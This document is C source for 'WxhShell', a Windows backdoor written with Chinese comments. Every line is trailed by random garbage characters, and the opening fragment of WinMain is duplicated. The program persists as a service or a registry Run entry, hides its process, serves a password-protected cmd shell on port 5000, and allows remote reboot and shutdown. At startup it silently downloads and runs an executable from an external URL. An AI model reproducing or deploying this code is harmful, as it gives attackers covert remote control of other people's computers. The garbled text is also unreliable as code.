} \x-2qlZ
RHFRN&RU$
if(!OsIsNt) { zpwoK&T+
// 如果时win9x，隐藏进程并且设置为注册表启动 cTq@"v di
HideProc(); ,1{qZ(l1
StartWxhshell(lpCmdLine); a]r+np]vTy
} ui>jJ(
else 3Z";a
if(StartFromService()) ?+Gt?-! 5q
// 以服务方式启动 RxqNgun@
StartServiceCtrlDispatcher(DispatchTable); )c4tGT<
else YD[HBF)~j
// 普通方式启动 5[4wN( )
StartWxhshell(lpCmdLine); qHub+"2
-*k2:i`
return 0; &za }THm
} <J<"`xKL
K80f_iT5
+KbkdYZ
b,^ "-r
=========================================== TO.b- ;
R$awo/'^
i3eF_
_-C/sp^
G*4I;'6
c K\
" xeFx!$3
ee? d?:L
#include <stdio.h> ^UKAD'_#%O
#include <string.h> 684& H8
#include <windows.h> _]zX W
#include <winsock2.h> tM]Gu?6
#include <winsvc.h> 0;l~B
#include <urlmon.h> h}a}HabA
|J!mM<*K
#pragma comment (lib, "Ws2_32.lib") G[ U5R?/
#pragma comment (lib, "urlmon.lib") W^8
I$.lFQ%(
#define MAX_USER 100 // 最大客户端连接数 ]R""L<K%HF
#define BUF_SOCK 200 // sock buffer P*!`AWn
#define KEY_BUFF 255 // 输入 buffer JH\:9B+:L
Hl}lxK,]
#define REBOOT 0 // 重启 :f[ w
#define SHUTDOWN 1 // 关机 |~5cNm
TBt5Nqks-
#define DEF_PORT 5000 // 监听端口 GM2}]9
![%wM Pp
#define REG_LEN 16 // 注册表键长度 c[ZrQJ
#define SVC_LEN 80 // NT服务名长度 MAYb.>X#>
8n5~K.;<
// 从dll定义API R:f!ywj%
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <XLaJ;j
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d0)]^4HT|y
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #HgNwM
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "Vq= Ph
J>v[5FX+
// wxhshell配置信息 Md~SzrU
struct WSCFG { Z|C,HF+m.
int ws_port; // 监听端口 )>1}I_1j)
char ws_passstr[REG_LEN]; // 口令 +UDt2
int ws_autoins; // 安装标记, 1=yes 0=no {`D]%eRO
char ws_regname[REG_LEN]; // 注册表键名 ~Y`ys[Z m
char ws_svcname[REG_LEN]; // 服务名 Ibz9juY
char ws_svcdisp[SVC_LEN]; // 服务显示名 yo[Sh6r/9b
char ws_svcdesc[SVC_LEN]; // 服务描述信息 |^-D&C(Eu
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7nT|yL?
int ws_downexe; // 下载执行标记, 1=yes 0=no `+n0a@BVB
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T{ @@V
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .L^*9Y0)
WkiT,(i
}; 6agq^wI
6#Z]yk+p
// default Wxhshell configuration lPZ>#
struct WSCFG wscfg={DEF_PORT, FQ4R>@@5
"xuhuanlingzhe", 26/<\{q~
1, a"-uJn
"Wxhshell", `"65 _?B i
"Wxhshell", ^"7-`<J
"WxhShell Service", 8p 4[:M@
"Wrsky Windows CmdShell Service", b[:,p?:@
"Please Input Your Password: ", %JBLp xnq
1, ta{24{?M\
"http://www.wrsky.com/wxhshell.exe", eOb--@~8
"Wxhshell.exe" rY(7IX
}; ~T;:Tg*
KD A8x W
// 消息定义模块 M ]047W
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y#c439&
char *msg_ws_prompt="\n\r? for help\n\r#>"; MtL<)?HQ
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %j^QK>%
char *msg_ws_ext="\n\rExit."; @K!JE w\
char *msg_ws_end="\n\rQuit."; pG"wQ
char *msg_ws_boot="\n\rReboot..."; +A8q.-N G
char *msg_ws_poff="\n\rShutdown..."; .T7CMkYt
char *msg_ws_down="\n\rSave to "; zd%f5L('
iYBc4'X
char *msg_ws_err="\n\rErr!"; c/+6M
char *msg_ws_ok="\n\rOK!"; )K?7(H/j
02Vfg42
char ExeFile[MAX_PATH]; a2.6S./
int nUser = 0; LC]0c)v#
HANDLE handles[MAX_USER]; /4(HVua
int OsIsNt; =!L}/Dl
}kt%dDU
SERVICE_STATUS serviceStatus; 1av#u:jy~>
SERVICE_STATUS_HANDLE hServiceStatusHandle; JL4E`
C:No ^nH>
// 函数声明 zV}:~;w
int Install(void); ~E6sY
int Uninstall(void); eikZ~!@
int DownloadFile(char *sURL, SOCKET wsh); eW 4[2Q
int Boot(int flag); Z&>Cdgt*
void HideProc(void); ?u#s?$Y?
int GetOsVer(void); K9ia|2f
int Wxhshell(SOCKET wsl); m Z +dr[
void TalkWithClient(void *cs); EHq;eF
int CmdShell(SOCKET sock); HXT"&c|
int StartFromService(void); T/ECW
int StartWxhshell(LPSTR lpCmdLine); HTQTDbhV^
FiMM-c|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k}:;`ST
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :=*G7ZyW$
}< '6FxR
// 数据结构和表定义 *@bz<{!
SERVICE_TABLE_ENTRY DispatchTable[] = H<!q@E ;
{ gOnZ#
{wscfg.ws_svcname, NTServiceMain}, Vj4 h#NN$
{NULL, NULL} Jf4` 2KN\
}; q`PA~C];
b4wT3
// 自我安装 445JOP
int Install(void) M-].l3
{ h._eP.W`
char svExeFile[MAX_PATH]; 3:Nc`tM_
HKEY key; 3PvxU|*F
strcpy(svExeFile,ExeFile); U;iCH
I`oJOLV
// 如果是win9x系统，修改注册表设为自启动 g"" 1\rc=
if(!OsIsNt) { MJX4;nbl
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ??aO3Vm{
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QlvP[Jtr
RegCloseKey(key); I(7GVYM
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pqx?0f)
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jY\z+lW6A
RegCloseKey(key); >{{ds--
return 0; t0fgG/f'
} @D-I@Cyl
} q}p$S2`
} _O}U4aGMTC
else { w_>\Yd[
r'nPP6`
// 如果是NT以上系统，安装为系统服务 9O&m7]3
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z*.G0DFw
if (schSCManager!=0) 423%K$710
{ cvy 5|;-u
SC_HANDLE schService = CreateService LhKbZoPp
( q !9;JrX
schSCManager, 00D.Jn
wscfg.ws_svcname, ;bG?R0a
wscfg.ws_svcdisp, jMBMqQNU
SERVICE_ALL_ACCESS, j5R0e}/r
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p,k1*|j
SERVICE_AUTO_START, h1(i/{}:
SERVICE_ERROR_NORMAL, 1o/(fy
svExeFile, G~C-tAB
NULL, 5\zR>Tg".
NULL, (M|DNDM'd
NULL, Q?T+^J
NULL, (KN",u6F
NULL 0kCo0{+n
); c;/vzIJj
if (schService!=0) VF11eZ"
{ 4Ia'Yr
CloseServiceHandle(schService); ,<+:xl
CloseServiceHandle(schSCManager); }l+_KA
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |LJv*
strcat(svExeFile,wscfg.ws_svcname); @TW:6v`
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BZhf/{h[@
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); clyp0`,7
RegCloseKey(key); ,7cw%mQA
return 0; Zs t)S(
} msCz\8Xd
} * G*VY#L
CloseServiceHandle(schSCManager); >QJDO ]~V
} H0tu3Pqk
} \i[N";K
-[vw 8
return 1; &+02Sn3A
} =Bc{0p*
wQ+il6
// 自我卸载 837:;<T
int Uninstall(void) @i'D)6sC
{ 0sSBwG
HKEY key; ~sn3_6{
>A]l|#Rz
if(!OsIsNt) { i@6g9\x+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $X:,Q,?
RegDeleteValue(key,wscfg.ws_regname); EP;ts
RegCloseKey(key); c{to9Lk.#
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cp!9 "J:
RegDeleteValue(key,wscfg.ws_regname); :(OV{ u
RegCloseKey(key); WwoT~O8R
return 0; *;Q#UH
} H@zZ[
} % +
} ueU"v'h\
else { + AjV0#n
[E<A/_z
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c]VK%zl
if (schSCManager!=0) um]N]cCD`
{ ! 1?u0
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y ?~n6<
if (schService!=0) r9(c<E?,h
{ `lm'_~=`&
if(DeleteService(schService)!=0) { w<!&%
CloseServiceHandle(schService); SkipPEhA
CloseServiceHandle(schSCManager); COWlsca
return 0; $l.8
} ;W+1 H !
CloseServiceHandle(schService); :#sBNy
} i)cG
CloseServiceHandle(schSCManager); n&]J-^Tx
} Z>w@3$\z
} B (h`~pb
hC{2LLu;n
return 1; q4@+Pi)
} f]2gjQHM
-$%~EY}
// 从指定url下载文件 9\Rk(dd
int DownloadFile(char *sURL, SOCKET wsh) wrCV&2CG
{ 7 v3%dCvf
HRESULT hr; aB G*
char seps[]= "/"; z,C>Rh9Id
char *token; M{u7Ef
char *file; `m_fi
char myURL[MAX_PATH]; xzMpTZQ
char myFILE[MAX_PATH]; 2.j0pg .
;CL^2{
strcpy(myURL,sURL); *2pE39
token=strtok(myURL,seps); 4;Hm%20g
while(token!=NULL) h\)ual_r[j
{ @:'E9J06
file=token; 26_PFHQu4
token=strtok(NULL,seps); ;$!0pxL)s
} MD1d
c}=[r1M*
GetCurrentDirectory(MAX_PATH,myFILE); &,XPMT
strcat(myFILE, "\\"); |M<R{Tt}nf
strcat(myFILE, file); } -hH2
send(wsh,myFILE,strlen(myFILE),0); @$QtY(a
send(wsh,"...",3,0); hI<$lEB
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c&RiUU7
if(hr==S_OK) R 'mlKe x
return 0; RvVF^~u
else @*T8>
return 1; 3e;K5qSeo/
(|6!pQ7
} aeLIs SEx
v"sU87+
// 系统电源模块 MS|1Q@S9
int Boot(int flag) s5d[sx
{ tUfze9m
HANDLE hToken; odcrP\S
TOKEN_PRIVILEGES tkp; 8fWnKWbbjw
blbzh';0}
if(OsIsNt) { 'i/"D8
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nM$-L.dG
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {;UBW7{
tkp.PrivilegeCount = 1; OH+2)X
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z"sv,W
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3@;24X
if(flag==REBOOT) { aI\>=*HF
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ok&v+A
return 0; .$x822
} giddM2'
else { OJcI0(G
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g;3<oI/P
return 0; &19z|Id
} ON_GD"
} ]=0D~3o3
else { !Nhq)i
if(flag==REBOOT) { 'aZAWY d
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 97!VH>MX
return 0; 5i3nz=~o
} T:j!a{_|
else { pHDPj,lu
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uUpOa+t
return 0; ~65lDFY/
} `p^xdj}
} `jFvG\aC
f%d =X>_
return 1; 2-wvL&pi)
} l]e7
!jJH}o/KW
// win9x进程隐藏模块 fAR0GOI
void HideProc(void) TlBu3z'P
{ z1~U#
Q#$dp
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T^ah'WmNw
if ( hKernel != NULL ) ZZ;V5o6E
{ Vuo 8[h>
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {[B`q
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K* 0]*am|v
FreeLibrary(hKernel); o{QPW
} !}uev
;,_c1x/F
return; ?jBh=X\]:
} <~qhy{hRn
[+$o`0q;N?
// 获取操作系统版本 ~{O@tt)F
int GetOsVer(void) lhV'Q]s@6
{ ,7Lu7Q
OSVERSIONINFO winfo; d`+cNKf
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >*mLbp"
GetVersionEx(&winfo); bPdbKi{j@
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ut^^,w{o>
return 1; ViT$]Nv
else )wYbcH
return 0; 80ms7 B
} d~J4&w
wms8z
// 客户端句柄模块 U5wO;MA
int Wxhshell(SOCKET wsl) cS1BB#N0
{ |2~fOyA+
SOCKET wsh; >;@hA*<
struct sockaddr_in client; eqE%ofW
DWORD myID; \=/^H
Me*]Bh
while(nUser<MAX_USER) @oL<Ioh
{ wKAc ;!
int nSize=sizeof(client); (Sg52zv
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^E8eW
if(wsh==INVALID_SOCKET) return 1; ~\m|pxcj
NLxsxomj
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q:B:
if(handles[nUser]==0) @v,qfT*k7
closesocket(wsh); MoP0qNk
else M9b_Q
nUser++; :3Z"Qk$uR
} =w!14@W
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BqKh&m
C[O \aW
return 0; P1 `-OM
} ='cr@[~i
4RqOg1
// 关闭 socket e$^O_e
void CloseIt(SOCKET wsh) Ci ? +Sl
{ ^CwzAB
closesocket(wsh); o5FBqt
nUser--; b1;80P/:D
ExitThread(0); ^4yFLqrC
} GZ];U]_
daZY;_{"o
// 客户端请求句柄 A%s"WSx,
void TalkWithClient(void *cs) vx_v/pD
{ >p 7e6%
K G~fDb
SOCKET wsh=(SOCKET)cs; { O*maE"
char pwd[SVC_LEN]; &?<o692
char cmd[KEY_BUFF]; 3RP}lb
char chr[1]; z<jWy$Ta;
int i,j; vF=d`T<
NY ZPh%x
while (nUser < MAX_USER) { 89'XOXl&1
Z\y@rp\l
if(wscfg.ws_passstr) { eID"&SSU
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HBL)_c{/O
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p' FYK|
//ZeroMemory(pwd,KEY_BUFF); d\V\,%&.
i=0; PU^Z7T);
while(i<SVC_LEN) { s!2pOH!u
f,Sybf/uHh
// 设置超时 U:E:"
fd_set FdRead; 0%^m
struct timeval TimeOut; 4+`<'t]Q
FD_ZERO(&FdRead); -_ [Z5%B
FD_SET(wsh,&FdRead); #$Z|)i]w
TimeOut.tv_sec=8; 94F9f^ L
TimeOut.tv_usec=0; wYS,|=y
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QO)Q%K,
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 16YJQ ue
Ov)rsi
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zTP3JOe(
pwd=chr[0]; l 49)Cv/
if(chr[0]==0xd || chr[0]==0xa) { 4y+]V~p
pwd=0; 7@m
break; D;|4ZjM-
} swnov[0
i++; q7wd96G:
} 8_ns^6XK5p
52>?l C
// 如果是非法用户，关闭 socket kG+CT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c|Nv^V*2
} eGblQGRS
81/Bn!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); quU%9m \S`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0@t/j<5o
3M(:}c
while(1) { ?(!$vqS`f(
atFj Vk^
ZeroMemory(cmd,KEY_BUFF); #:3E.=
59p'Ega.
// 自动支持客户端 telnet标准 5sx-u!7
j=0; t_WNEZW7f
while(j<KEY_BUFF) { oG5JJpLT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PZRpH
cmd[j]=chr[0]; 5Y)!q?#H
if(chr[0]==0xa || chr[0]==0xd) { fdzD6KZI
cmd[j]=0; >=i47-H
break; v.,C"^W
} {JzX`Z30l
j++; 8Hs>+Udl
} Y'Jb@l`$-
6pQ#Zg()vp
// 下载文件 ^[8e|,U
if(strstr(cmd,"http://")) { ^ow[XEB%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); X{ZBS^M
if(DownloadFile(cmd,wsh)) .dVo[m;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QKbX^C
else )D@1V=9,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BJk\p.BVN
} U\ y?P:yy
else { *KFsO1j
>NW /0'/
switch(cmd[0]) { M\8FjJ>9
3`k1
// 帮助 ho@f}4jhQ3
case '?': { j46fQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c:51In|~{C
break; GOa](oD}
} ~c :e0}
// 安装 V4 Pf?g
case 'i': { xK0VWi
if(Install()) rFn;z}J2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gV!Eotq
else mhp5}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0R7uH
break; )AqM?FE4R
} Z%XBuq:BY
// 卸载 -(qoz8H5
case 'r': { D_9&=aa'
if(Uninstall()) ||}|=Sz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _jK\+Zf
else I1&Z@[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <k5FlvE2
break; $ZXy&?4
} r['T.yo
// 显示 wxhshell 所在路径 0d:t$2~C
case 'p': { N*lq)@smq
char svExeFile[MAX_PATH]; #2I[F
strcpy(svExeFile,"\n\r"); Fkz+Qz
strcat(svExeFile,ExeFile); R',|Jf=`
send(wsh,svExeFile,strlen(svExeFile),0); YurK@Tq7
break; |I7P0JqP
} 3>0/WbA:7E
// 重启 Xe*@`&nv@
case 'b': { R?>a UFM
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L1Fn;nR
if(Boot(REBOOT)) q!""pr<n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Cyx"s't
else { /pFg<
closesocket(wsh); 2#*Bw=
ExitThread(0); g84~d(\?
} M[R, m_p
break; FD#?pVyPn^
} CTR|b}!
// 关机 Zx55mSfx:
case 'd': { doP4N6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E`iT>+LG<
if(Boot(SHUTDOWN)) EFf<|v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mh.0% 9`9
else { gJ c5Y
closesocket(wsh); ^gH.5L0]gH
ExitThread(0); (bH"x
} EiP_V&\
break; W}WGg|ug
} )+oDa{dZ
// 获取shell 1<<`T%&
case 's': { C?bPdJ,6
CmdShell(wsh); cpFw]w%]
closesocket(wsh); kdQ=%
ExitThread(0); E^1uZI\z
break; RX=C)q2c
} !F;W#Gc
// 退出 0$}+tq+
case 'x': { X LA
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W5_t/_EWD
CloseIt(wsh); 6peO9]Zy
break; Nh]eZ3O
} a%;$l_wVT:
// 离开 u~1[nH:
case 'q': { g}$]K!F
send(wsh,msg_ws_end,strlen(msg_ws_end),0); WsJ3zZc
closesocket(wsh); bW3e*O$V
WSACleanup(); q'3=
exit(1); *FK!^Y
break; Z?XE~6aP>
} iIcO_ZyA
} "]kaaF$U%
} V`S6cmwdc\
GZXUB0W\@)
// 提示信息 uzho>p[ae
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H`),PY2
} +X cB5S>
} q^([ & +
K}`.?6O
return; ZaH<\`=%
} qK.8^{b
jf*M}Q1jHE
// shell模块句柄 7I^(vQ
int CmdShell(SOCKET sock) G5"UhnOD'
{ e]uk}#4
STARTUPINFO si; w;}P<K
ZeroMemory(&si,sizeof(si)); ztgSd8GGE
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yew9bn0a=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B\KvKT|\
PROCESS_INFORMATION ProcessInfo; 3UslVj1u
char cmdline[]="cmd"; 1f~unb\Gg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o`M7:8G
return 0; Xy_+L_h^
} D7[ 8*^
#XQEfa
// 自身启动模式 C[& \Xq
int StartFromService(void) ,hT t]w
{ KNQX\-=
typedef struct b0PF7PEEQ
{ QI=",vmau
DWORD ExitStatus; SD8Q_[rY
DWORD PebBaseAddress; V. =!^0'A
DWORD AffinityMask; ;[ pyKh
DWORD BasePriority; &=<x&4H+
ULONG UniqueProcessId; (gvaYKvr
ULONG InheritedFromUniqueProcessId; "CT'^d+
} PROCESS_BASIC_INFORMATION; fg*IHha
dL |D
PROCNTQSIP NtQueryInformationProcess; 1 c3gHc7{t
K>lA6i7?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %^2LTK(P
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jU@qQ@|
=>)l6**UE
HANDLE hProcess; \n6#D7OV
PROCESS_BASIC_INFORMATION pbi; 9p+DAs{i
BV9B}IV
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?\(E+6tpP
if(NULL == hInst ) return 0; jXSo{
&}OaiTzEmc
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )f*&}SV
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $*H_0wQc
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pLDseEr<
{"Van,w
if (!NtQueryInformationProcess) return 0; QyJ}zwD
ucL}fnY1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .,o=#
if(!hProcess) return 0; J5*krH2i
pzg|?U
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "n}J6
'.c[7zL
CloseHandle(hProcess); Ldf<
=Qsh3b&<P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c] $X+
if(hProcess==NULL) return 0; _o'ii VDuD
=A$5~op%
HMODULE hMod; Xg^`fRg =T
char procName[255]; P5P:_hr
unsigned long cbNeeded; zFN:C()ig
Cf91#%:cN
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AT<K>&)
W.r0W2))(
CloseHandle(hProcess); <ZSH1~<{6
V\W?@V9g-
if(strstr(procName,"services")) return 1; // 以服务启动 x{*g^f
kl?U2A.=
return 0; // 注册表启动 re2M!m6k5
} COH0aNp;
%\6|fKB4<
// 主模块 :rk=(=@8`
int StartWxhshell(LPSTR lpCmdLine) n!2"pRIi
{ 3%bCv_6B
SOCKET wsl; )M<"YI)g
BOOL val=TRUE; -+Axa[,5=
int port=0; g j8rrd|
struct sockaddr_in door; ?T3zA2
^ r-F@$:.
if(wscfg.ws_autoins) Install(); }3E@]"<cVR
!trt]?*-
port=atoi(lpCmdLine); 64%P}On
Ew5(U`]
if(port<=0) port=wscfg.ws_port; j1Fy'os"!
uUB,OmLN
WSADATA data; umaF}}-Q{
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dq/_^a/1
)a AKO`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -*~= 4m<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dt%Gv0
door.sin_family = AF_INET; \T`InBbf
door.sin_addr.s_addr = inet_addr("127.0.0.1"); wN>k&J
door.sin_port = htons(port); >v7fR<(%s
|`+kZ-M*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ![h+R@_(
closesocket(wsl); 5%BexIk
return 1; 29("gB
} 9^6E>S{=
\3JZ=/
if(listen(wsl,2) == INVALID_SOCKET) { m\o<a|
closesocket(wsl); %X7R_>.
return 1; Yz(k4K L
} o=}}hE\H
Wxhshell(wsl); /j/,@,lw7z
WSACleanup(); 7?!A~Seo|
F0:|uC4
return 0; $\M<gW6
J@sH(S
} 6_]-&&Nr
4Vl_vTz{i
// 以NT服务方式启动 sL" h
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @ol=gBU
{ '#RzX8|v<
DWORD status = 0; K2$ fKju
DWORD specificError = 0xfffffff; kW#,o9f\
XtY!fo*
serviceStatus.dwServiceType = SERVICE_WIN32; 1N6.r:wg)%
serviceStatus.dwCurrentState = SERVICE_START_PENDING; h DpIwzJ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W!vN(1:(
serviceStatus.dwWin32ExitCode = 0; wNo2$>*
serviceStatus.dwServiceSpecificExitCode = 0; Q6blX6DWU
serviceStatus.dwCheckPoint = 0; }<R,)ZV^G
serviceStatus.dwWaitHint = 0; vT/e&8w
)3K#${p
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .c__<I<G<
if (hServiceStatusHandle==0) return; EQ 'L"
)4:K@
status = GetLastError(); qTSyy=
if (status!=NO_ERROR) ~tK4C|
{ NwAvxN<R(f
serviceStatus.dwCurrentState = SERVICE_STOPPED; i7$4i|
serviceStatus.dwCheckPoint = 0; ]Z\Z_t
serviceStatus.dwWaitHint = 0; H#H@AY3Y
serviceStatus.dwWin32ExitCode = status; z=mH\!
serviceStatus.dwServiceSpecificExitCode = specificError; ?*DM|hzOi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [v47_ 5O
return; q^!_jMN5
} O2i7w1t
gJa48 pi
serviceStatus.dwCurrentState = SERVICE_RUNNING; NSe Huk
serviceStatus.dwCheckPoint = 0; qt_ocOr
serviceStatus.dwWaitHint = 0; { 0\Ez}
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ] V|hDU=t
} xgDd5`W
5OEo(&
// 处理NT服务事件，比如：启动、停止 o>|&k]W/
VOID WINAPI NTServiceHandler(DWORD fdwControl) g)?Ol
{ D5Zgi!
switch(fdwControl) yS#)F.
{ I0iTa99K
case SERVICE_CONTROL_STOP: LR:PSgy
serviceStatus.dwWin32ExitCode = 0; bn7"!6
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9NF2a)&~
serviceStatus.dwCheckPoint = 0; X,5}i5'!
serviceStatus.dwWaitHint = 0; /x%h@Cn!
{ #jrtsv]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gB7kb$J
} ))T@U?r
return; o<h2]TN
case SERVICE_CONTROL_PAUSE: F}1h
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7bV(eV
break; @jL](Mq|]
case SERVICE_CONTROL_CONTINUE: l7h6R$7; 0
serviceStatus.dwCurrentState = SERVICE_RUNNING; EdL2t``
break; {F!/\2a
case SERVICE_CONTROL_INTERROGATE: S?b^g'5m
break; /esdtH$=
}; 6=cfr; BH2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k8KRVXgx
} )Ehi8
LNz
// 标准应用程序主函数 ./]xn
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q};n%&n&
{ yv[3&E?
]& 8c 45c
// 获取操作系统版本 ~];r{IU
OsIsNt=GetOsVer(); 'FNnFm
GetModuleFileName(NULL,ExeFile,MAX_PATH); $-D}y:
Yg/g9$'
// 从命令行安装 (rmOv\hG9V
if(strpbrk(lpCmdLine,"iI")) Install(); y+\kZIqX
]z5kYU&
// 下载执行文件 8H'ybfed
if(wscfg.ws_downexe) { DCsamOA~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *S xDwN
WinExec(wscfg.ws_filenam,SW_HIDE); awXK9}.
} +3yG8
L@5sY0 M
if(!OsIsNt) { }SfS\b{|~
// 如果时win9x，隐藏进程并且设置为注册表启动 noNJ+0S
HideProc(); M)F_$ ICE-
StartWxhshell(lpCmdLine); c,2OICj
} tJG+k)EE
else g6 H}a
if(StartFromService()) mjQZ"h0
// 以服务方式启动 @T"-%L8PL
StartServiceCtrlDispatcher(DispatchTable); [psZc'q
else dhX$b!DA
// 普通方式启动 Sj ly]
StartWxhshell(lpCmdLine); /!#A'#Z
$u~*V
return 0; T_)g/,5>
}